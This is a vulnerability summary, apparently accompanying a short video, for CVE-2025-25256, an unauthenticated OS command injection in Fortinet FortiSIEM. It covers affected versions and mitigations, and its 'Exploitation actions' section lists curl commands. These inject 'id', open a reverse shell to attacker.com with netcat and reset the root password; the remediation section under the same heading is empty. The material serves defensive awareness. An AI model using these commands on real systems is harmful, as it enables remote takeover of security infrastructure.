FortiSIEM: OS command injection in Fortinet FortiSIEM (CVE-2025-25256) #shorts
Summary
Today’s episode covers CVE-2025-25256, a critical OS command injection flaw in Fortinet’s FortiSIEM platform. Published on August 12, 2025, and updated the next day, this vulnerability is already being exploited in the wild and has a public proof-of-concept. We’ll break down what’s at risk, which versions are affected, and what you need to do to protect your environment.
Product details
FortiSIEM is Fortinet’s security information and event management solution. Versions 5.4.0 through 7.3.1 are impacted: specifically, 5.4.0; 6.1.0 to 6.1.2; 6.2.0 to 6.2.1; 6.3.0 to 6.3.3; 6.4.0 to 6.4.4; 6.5.0 to 6.5.3; 6.6.0 to 6.6.5; 6.7.0 to 6.7.9; 7.0.0 to 7.0.3; 7.1.0 to 7.1.7; 7.2.0 to 7.2.5; and 7.3.0 to 7.3.1. Both on-premises and virtual deployments are vulnerable until patched.
Vulnerability type summary
This is an OS command injection vulnerability, tracked as CWE-78. An attacker can inject and execute arbitrary operating system commands by exploiting improper neutralization of special elements in CLI requests. Because it can be triggered without authentication, it poses a severe escalation-of-privilege and remote code execution risk.
Details of the vulnerability
An attacker crafts malicious CLI input that bypasses FortiSIEM’s input validation and injects shell commands. The vulnerability exists in the request handler for certain administrative endpoints. Once the payload is submitted, the server executes injected commands with root-level privileges. Public proof-of-concept exploit code has circulated, and Fortinet has confirmed active exploitation. Successful attacks can lead to full system compromise, data exfiltration, and pivoting into other segments of the network.
Conclusion
If you run FortiSIEM, treat this as an emergency. Apply Fortinet’s patches or upgrade to a non-vulnerable version immediately. If you cannot patch right away, restrict access to the FortiSIEM management interface, implement strict network segmentation, and monitor for unusual CLI activity. Stay tuned to Fortinet advisories for additional mitigation guidance and incident response recommendations.
Watch the full video on YouTube: CVE-2025-25256
Remediation and exploitation details
This chain involves the following actors
- Unauthenticated Attacker: Malicious actor exploiting remote command injection
- FortiSIEM Administrator: Maintains and secures the FortiSIEM deployment
This following systems are involved
- Fortinet FortiSIEM (Collects, analyzes and correlates security events): Target of exploitation
Attack entry point
- FortiSIEM Command-Line Interface Endpoint: HTTP endpoint accepting CLI commands without proper input validation
Remediation actions
Exploitation actions
Service enumeration via HTTP requests
- curl -k https://<target>:8180/
OS command injection through unsanitized CLI parameter
- curl -k -X POST https://<target>:8180/cli -d 'command=show+status;id'
Output validation of injected commands
- Response contains uid=0(root) gid=0(root) groups=0(root)
Reverse shell injection via OS command injection
- curl -k -X POST https://<target>:8180/cli -d 'command=nc+attacker.com+4444+-e+/bin/bash'
Persistent code execution and privilege escalation
- curl -k -X POST https://<target>:8180/cli -d 'command=echo "root:password" | chpasswd'
Related Content
NOTE: The following related content has not been vetted and may be unsafe.
- https://fortiguard.fortinet.com/psirt/FG-IR-25-152
- [2025-08-13] Fortinet warns of a critical FortiSIEM vulnerability, CVE-2025-25256, actively exploited in attacks.
- [2025-08-13] Fortinet warns about FortiSIEM vulnerability with in-the-wild exploit code (CVE-2025-25256)
- [2025-08-14] Fortinet issues critical advisory for high-severity vulnerability in FortiSIEM platform, CVE-2025-25256, with exploit code circulating.
- [2025-08-14] Proof of concept released for critical Fortinet FortiSIEM command injection vulnerability.
- [2025-08-13] Fortinet warns about a critical vulnerability in FortiSIEM with an in-the-wild exploit.